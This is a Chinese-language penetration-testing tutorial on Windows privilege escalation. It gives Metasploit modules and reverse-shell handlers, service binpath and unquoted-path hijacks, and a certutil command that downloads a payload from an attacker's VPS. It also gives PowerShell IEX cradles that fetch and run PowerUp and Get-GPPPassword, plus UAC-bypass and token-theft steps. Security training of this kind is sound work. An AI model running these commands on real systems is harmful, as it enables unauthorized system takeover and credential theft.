内网提权—Windows系统提权
内网艰难学习……有错误烦请指出
一般常见的进入内网后的提权方式
- 系统内核溢出提权
- 数据库提权
- 系统服务权限配置错误
- 组策略首选项提权
- DLL劫持提权
- 滥用高权限令牌提权 也就是劫持令牌
- 第三方软件/服务提权
前言
windows在日常的渗透中经常遇到,而在内网之前,经常会在所拿到的跳板机进行提权,这样后面横向,内网才能更好的展开(抓hash,必须得系统或管理员权限)。
系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、窃取令牌提权、bypassuac提权,第三方软件/服务提权,WEB中间件漏洞提权等。
关于数据库提权,MySQL的提权在前一篇文章 https://www.plumstar.cn/2023/05/05/MySQL%E6%8F%90%E6%9D%83/
这篇文章将会介绍除MySQL提权之外的在Windows系统下提权的一些常用方法
工具
有一些工具需要提前说一下使用的方法,下面都会用到
winPEAS
winPEAS是一个非常强大的工具,它不仅积极寻找特权升级错误配置,而且还在结果中为用户突出显示它们。
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS
在运行之前,我们需要添加一个注册表项,然后重新打开命令提示:
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
运行所有检查,同时避免耗时的搜索:
.\winPEASany.exe quiet cmd fast
运行特定检查类别:
.\winPEASany.exe quiet cmd systeminfo
accesschk.exe
accesschk是一个很旧的工具了,但我们依然可以尝试去用
您可以使用它来检查用户或组是否有权访问文件,目录,服务和注册表项
缺点是:程序的最新版本会生成一个GUI”接受EULA”弹出窗口。
当使用命令行时,我们有 使用仍具有/accepteula
命令行的旧版本选项
Seatbelt
Seatbelt是一种枚举工具。它包含许多枚举检查。
它不会主动寻找特权升级错误配置,但是可以为进一步调查提供相关信息。
代码: https://github.com/GhostPack/Seatbelt
预编译: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe
运行所有检查并筛选出不重要的结果:
.\Seatbelt.exe all
要运行特定检查:
.\Seatbelt.exe <check <check
Windows系统内核溢出漏洞
溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。
利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限
这里重点会说一下MSF的一些提权模块,对于一些老一点的服务器,例如Windows sever还是比较有用的,不过我实战确实是没怎么用过………….
- enum_patches模块
- Windows-Exploit-suggester
- Windows ClientCopyImage Win32k Exploit(MS15-051)
- Windows TrackPopupMenu Win32k NULL指针解引用(ms14_058)
- 通过 KiTrap0D 提升 Windows 权限(ms10_015)
- Task Scheduler XML提权(ms10_092)
- MS16-016 mrxdav.sys WebDav本地提权(ms16_016)
- EPATHOBJ::pprFlattenRec本地提权
- MS13-053 : NTUserMessageCall Win32k内核池溢出(ms13_053)
- MS16-032 Secondary Logon Handle提权(ms16_032)
使用Metasploit绕过UAC的多种方法,下面bypassUAC提权也会提到
- exploit/windows/local/ask模块绕过(最好用的一个)
- Windows提权UAC保护绕过(bypassuac进程注入)
- Windows提权UAC保护绕过(bypassuac_injection内存注入)
- Windows提权UAC保护绕过(通过FodHelper注册表项)
- Windows提权UAC保护绕过(通过Eventvwr注册表项)
- Windows提权UAC保护绕过(COM处理程序劫持)
手动查找系统潜在漏洞
在获取到一个内网普通用户权限后,可以通过下面两个命令来查询目标系统上已经安装了哪些补丁,方便演示,我直接复制了一个哥斯拉马到目标机
systeminfo
wmic qfe get caption,description,hotfixid,installedon
这里提示wmic不是内部或外部命令猜测是权限不够或者其他不可控原因导致执行失败,因为在本机执行成功
然后借助提权辅助站点如 https://i.hacking8.com/tiquan/ 或者 http://blog.neargle.com/win-powerup-exp-index/ 进行查询未安装补丁或搜索可用exp
因为我这里目标机子是win7,没有打补丁的溢出漏洞就太多了,随便拿一个过来都可以,就不再继续往下了
使用wesng查找潜在漏洞
提取systeminfo命令的输出:
systeminfo > 1.txt
运行wesng查找潜在漏洞:
下载下来运行我们的wesng脚本查找漏洞,不确定靶机是否有python环境
https://github.com/lowliness9/wesng
python wes.py 1.txt -i 'Elevation of Privilege' --exploits-only | less
已编译漏洞的交叉引用结果:
https://github.com/SecWiki/windows-kernel-exploits
漏洞利用:
https://github.com/SecWiki/windows-kernel-exploits/blob/master/CVE-2018-8120/x64.exe
系统权限:
kali上启动nc监听 拿到系统权限
x64.exe C:\Users\dayu\Desktop\a002.exe
使用Windows-Exploit-Suggester
跟上面手动查找差不太多,只不过是上面的进阶版,地址 https://github.com/AonCyberLabs/Windows-Exploit-Suggester
先在目标机执行一下systeminfo获取补丁信息即可后面跟的路径需要是你能下载到攻击机的路径,也就是你目前低权限用户所能控制的目录,直接下载到攻击机
systeminfo.exe > systeminfo.txt
下载下来后就直接用这个脚本跑即可
python windows-exploit-suggester.py --update
先更新一下漏洞库
运行后目录中会生成一个xls文件,这就是新生成的漏洞库
#安装xlrd我之前已经安装过了,没装的装一下,这里会出现xlrd版本不匹配的问题
pip install xlrd --update
出现这种报错就是xlrd版本的问题,出现错误,xlrd 读取数据失败,原因:xlrd模块为2.0.1版本,更新版本后,xlrd不支持xlsx格式数据的读取
解决办法需要卸载2.0.1版本的xlrd安装1.2.0版本的xlrd
#卸载原本xlrd
pip uninstall xlrd
#安装1.2.0版本
pip install xlrd==1.2.0 --upgrade
然后就可以正常运行该脚本了
#目标机获取的systeminfo信息跟漏洞库进行脚本对比
python windows-exploit-suggester.py --database 2023-04-01-mssb.xls --systeminfo systeminfo.txt
MSF的enum_patches模块
MSF记得先更新一下,先把shell弹到MSF上,kali设置监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.158.128
lhost => 192.168.158.128
msf6 exploit(multi/handler) > set lport 3333
lport => 3333
msf6 exploit(multi/handler) > run
然后冰蝎直接反弹shell到MSF就ok
弹过来shell就直接开enum_patches模块
meterpreter > getuid
meterpreter > run post/windows/gather/enum_patches
同时扫描完成提示有很多可用模块,例如ms13_053_schlamperei,直接use,这些模块都在exploit/windows/local目录下
MSF的ms13_053_schlamperei模块
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit
提权成功
MSF的local_exploit_suggester模块
也是上面先弹到MSF之后再开MSF提权模块
Metasploit内置模块提供了各种可用于提权的windows local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦。虽说如此,但也并非所有列出的local exploits都可用。所以,无论是漏洞利用还是查找最好的办法就是自动结合手动。
注:要使用local exploit suggester,我们必须已在目标机器上获取到了一个Meterpreter session。在运行Local Exploit suggester之前,我们需要将现有的Meterpreter session调到后台运行(background)
msf6 exploit(windows/local/ms13_053_schlamperei) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set lhost 192.168.158.128lhost => 192.168.158.128
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run
这里并没有找到可使用的模块,机子环境比较纯净;另一台机子就有很多可以使用的模块,如果有很多可以使用的模块,就直接use,例如这里扫出来的
例如这里直接
use exploit/windows/local/bypassuac_fodhelper
set session 1
set lhost 192.168.1.3
run
得到会话meterpreter后执行getsystem即可成功绕过uac提权成功
查找漏洞
查找到缺失的补丁后,对照相应的系统版本,查找对应的exp
https://github.com/SecWiki/windows-kernel-exploits
https://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/
...........
系统服务权限配置错误
服务基本命令
服务只是在后台运行、接受输入或执行常规任务的程序。
如果服务使用系统权限运行并配置错误,则利用它们也可能导致具有系统权限的命令执行
查询服务的配置:
sc.exe qc <name>
查询服务的当前状态:
sc.exe query <name
修改服务的配置选项:
sc.exe config <name <option= <value
开始/停止服务:
net start/stop <name>
错误权限配置
简介:windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。理论上,低权限用户是没有对高权限服务调用的可执行文件写权限,但是,如果因管理员错误的配置,导致一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么低权限用户就可以将该文件替换成任意可执行文件,这样就可以劫持系统服务,获得该系统服务的权限,而windows服务是以system权限运行的,所以低权限用户就能获得系统权限。(利用条件比较苛刻) 系统服务权限配置错误利用有如下两种方式:服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权(需要administrtor权限)
查找错误配置的手法:
1.1-msf的service_permissions模块
msf中对应的模块为exploit/windows/local/service_permissions
同样获取普通权限后,先弹到msf上面,然后再用这个模块
PS:我这里用冰蝎弹回来shell然后用这个模块提示不兼容,猜测需要用msf自己的exe马,大家如果遇到这个问题就先传上去msf的exe马然后再启用这个模块
msf6 exploit(multi/handler) > use exploit/windows/local/service_permissions
msf6 exploit(windows/local/service_permissions) > set session 4
session => 4
msf6 exploit(windows/local/service_permissions) > run
service_permissions模块使用两种方法来获得系统权限,如果meterpreter以管理员权限运行,该模块会创建并运行一个新的服务。如果当前权限
不允许创建服务,该模块会判断哪些文件或者文件夹的权限有问题,并允许对他进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个
可执行程序,其文件名和安装路径都是随机的。
1.2-PowerUp查找
GitHub地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
可以直接本地powershell远程加载
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
1.3-手工查找权限
当工具无法使用时,也可以手工查找,使用Windows内建工具icacls查看服务启动路径中写权限
icacls “C:\Program Files”
icacls “C:\Program Files\Common Files”
#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula
参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。
#检查服务 如果是.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
sc qc 服务名 #查看可以完全控制的服务的属性
利用手法
2.1-启动项
#把服务启动的行为(exe或者脚本,com组件..)替换成我们的MSF反弹木马,当服务重启时,就会给我们返回一个system权限的meterpreter
set AutoRunScript migrate -f#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
为什么要自动迁移?
这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信,如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程,我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程。
#run exploit/windows/local/service_permissions
run exploit/windows/local/service_permissions
#找到我们具有完全控制权限的服务,修改服务配置执行命令
sc config 服务名 binpath = "木马程序.exe" #INARY_PATH_NAME参数指向了该服务的可执行程序
sc stop 服务名
sc start 服务名
这里可以用木马程序可以用exe,任意脚本,dll文件等等,具体情况具体分析
简单来说就是把启动项换成我们msf的马,前提是我们完全控制的服务
2.2-计划任务
这一部分跟下方数据库提权中的写入计划任务是一样的思路
简介:windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的时间执行程序或脚本(在大多数情况下,计划任务是以NT AuthoritySystem高权限执行的),如果地权限用户对计划任务所在目录有读写权限,完全可以替换计划任务所执行的脚本或程序,获得高权限(但需要错误配置,让此目录下其他用户可写)。
官方说明文档:https://msdn.microsoft.com/en-us/library/windows/desktop/aa446802(v=vs.85).aspx
查找错误配置的方法:
#schtask 查询
schtasks /query /fo LIST 2>nul
#powershell
Get-ScheduledTask
利用手法:
#进行筛选 删除包含/Microsoft/Windows/路径的所有任务
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
#分析计划任务 查找行为,比如exe,脚本什么的
$task= Get-ScheduledTask -TaskName 计划任务名
ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}
#查找计划任务行为所在目录,低权限用户是否具有可写权限 accesschk.exe 当然也可以用icacls命令
accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\1111.exe
#直接替换
certutil -urlcache -split -f "http://你的vps/1111.exe" C:\ScheduledTasks\Task1\1111.exe
#等待计划任务执行
实操
1.先加把winPEAS加注册表
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
- 运行winPEAS以检查服务配置错误:
.\winPEASany.exe quiet servicesinfo
可以修改”daclsvc”服务。
我们可以用accesschk.exe来确认这一点:
使用它来检查用户或组是否有权访问文件,目录,服务和注册表项
.\accesschk.exe /accepteula -uwcqv user daclsvc
C:\Users\user\Desktop> .\accesschk.exe /accepteula -uwcqv user daclsvc C:\Users\user\Desktop> .\accesschk.exe /accepteula -uwcqv user daclsvc RW daclsvc SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_CHANGE_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_START SERVICE_STOP READ_CONTROL
- 检查服务的当前配置:
sc qc daclsvc
6.重新配置服务以使用我们的反向壳可执行:
sc config daclsvc binpath= "\"C:\Users\user\Desktop\a002.exe\""
7.启动服务触发漏洞进行反弹shell:
net start daclsvc
可信任服务路径漏洞
简介:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
原理:对于C:\Program Files\Some Folder\Service.exe文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,比如这里我把木马名字改了Program.exe,放在c盘,一旦此服务重启,因为优先级的缘故,服务会优先选择我们木马Program.exe,而不是C:\Program Files\Some Folder\Service.exe
,那么我们的恶意程序就会以system权限运行(大多数情况下)。
查找错误配置手法:
#wmi查找含有漏洞的服务命令
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
#PowerUp脚本
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
##查看指定目录的权限配置情况
accesschk.exe -dqv "C:\phpStudy" -accepteula
#运行winPEAS以检查服务配置错误,使用前记得先添加注册表
.\winPEASany.exe quiet servicesinfo
例如我本地的Windows 10系统,可以看到C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
这个路径下的exe文件可能存在问题
利用手法:
0x01 MSF攻击:
同样msf集成了模块
#msf攻击模块
exploit/windows/local/trusted_service_path
set AutoRunScript migrate -f
0x02 手动攻击:
上面已经通过一些命令找到了这个C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
存在漏洞,那么我们借助这个空格产生的漏洞来进行提权操作
#手动攻击
我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下,这里写入C:\Program Files.exe为我们的马
然后重启服务
sc stop service_name
sc start service_name
即可达到利用该漏洞通过服务进行启动我们的木马,我们的木马就会system权限运行(大多数情况下)。
实操
1.运行winPEAS以检查服务配置错误:
.\winPEASany.exe quiet servicesinfo
- 发现”unquotedsvc”服务有一个未引用的路径 ,其中也 包含 空格:
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
- 使用sc确认此问题:
sc qc unquotedsvc
4.使用accesschk.exe检查写入权限:
.\accesschk.exe /accepteula -uwdq C:\ .\accesschk.exe /accepteula -uwdq "C:\Program Files\" .\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
5.复制可执行的反向外壳并适当重命名
copy C:\Users\user\Desktop\a002.exe "C:\Program Files\Unquoted Path Service\Common.exe"
6.启动服务触发漏洞进行反弹shell
net start unquotedsvc
不安全的注册表权限配置
简介:在Windows中,和Windows服务有关的信息存储在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices注册表项中,服务对应的程序路径存储在HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service服务名ImagePath,如果低权限用户对这个键值有写权限,那么就可以控制这个服务,运行我们的程序,拿到高权限。
检测服务的注册表路径是否有写权限:
#微软的工具
https://www.microsoft.com/en-us/download/search.aspx?q=subinacl
subinacl.exe /key reg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnera
利用手法:
#如果我们对注册表有写入权限,就可以修改注册表,使得服务启动时运行我们的恶意程序`
reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:programdataadduser.exe" /f
启用注册表键AlwaysInstallElevated
简介:注册表键AlwaysInstallElevated是一个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITYSYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件。
查看是否启用:
#PowerUp
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"
#当然也可以查看注册表键值是否被定义
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
例如我这里Windows server 2003的环境就显示系统找不到指定的注册表项或值,说明并未启用
利用手法:
#利用方法,启用AlwaysInstallElevated后,可以通过命令行调用msiexec安装msi文件,msi文件内包含要执行的Payload,Payload将会以System权限执行
msiexec /quiet /qn /i muma.msi
#msf 需要一个会话
run exploit/windows/local/always_install_elevated
组策略首选项提权
简介:
Windows 2008 Server引入了一项新功能:策略首选项,组策略首选项使管理员可以部署影响域中计算机/用户的特定配置,通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。
SYSVOL: SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。
所有的组策略均存储在如下位置: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
组策略偏好GPP win2008发布了GPP(Group Policy Preferences),其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码
为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,造成了即使不知道密码的情况下也能修改组策略首选项的密码,也可以通过脚本破解组策略首选项文件中密码的漏洞。
利用手法:
#Powershell获取cpassword
Get-GPPPassword.ps1
#PowerSploit 的 Get-GPPPassword模块 检索通过组策略首选项推送的帐户的明文密码和其他信息。
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
kali gpp-decrypt命令破解密码
#Msf
run post/windows/gather/credentials/gpp
#Empire
usemodule privesc/gpp
bypassUAC提权
简介:用户帐户控制(UAC),它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。
UAC如何运行?
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。
一些没有管理员权限无法完成的操作:
注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
加载设备驱动程序
DLL注入
修改系统时间(时钟)
修改用户帐户控制设置(通过注册表,可以启用/禁用该设置,但您需要正确的权限才能执行此操作)
修改受保护的目录(例如Windows文件夹,Program Files)
计划任务(例如,以管理员权限自动启动)
UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件,而是在没有用户许可下对恶意软件的未授权行为进行掌控。
利用手法:
#Msf
exploit/windows/local/ask #弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/bypassuac #此模块将通过进程注入使用可信任发布者证书绕过Windows UAC,它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_injection #此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()
exploit/windows/local/bypassuac_fodhelper#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。
exploit/windows/local/bypassuac_eventvwr#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()
exploit/windows/local/bypassuac_comhijack#此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL,这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项,这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件,因此,如果cmd.exe访问受到限制,此模块将无法正常运行。
#Powershell
Invoke-PsUACme
#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript
#cs
uac-dll
uac-token-duplication
....
某些模块的解释可能稍微有点长和难懂,具体的可以去看一眼msf的官方文档
令牌窃取
简介:
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
令牌有很多种:
访问令牌(Access Token):表示访问控制操作主体的系统对象 。
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾。
利用方式:
#msf 拿到一个会话
use incognito #进入incognito模块
list_tokens -u #列出令牌
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。
这里窃取令牌,主要是窃取进程中的令牌
#使用令牌假冒用户
impresonate_Token "令牌名"
......
这里也可以用其他的cs,empire上面的令牌窃取功能模块
土豆(加模仿高权限令牌)
也是令牌窃取的一种手法,害挺好用的
烂土豆
#github地址
https://github.com/breenmachine/RottenPotatoNG/
#提权原理
欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌(过程为通过一系列的Windows API调用)。
模仿这个令牌,只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
甜土豆
#项目地址
https://github.com/CCob/SweetPotato
关于使用方法的话我就不多说了,项目里面写的很详细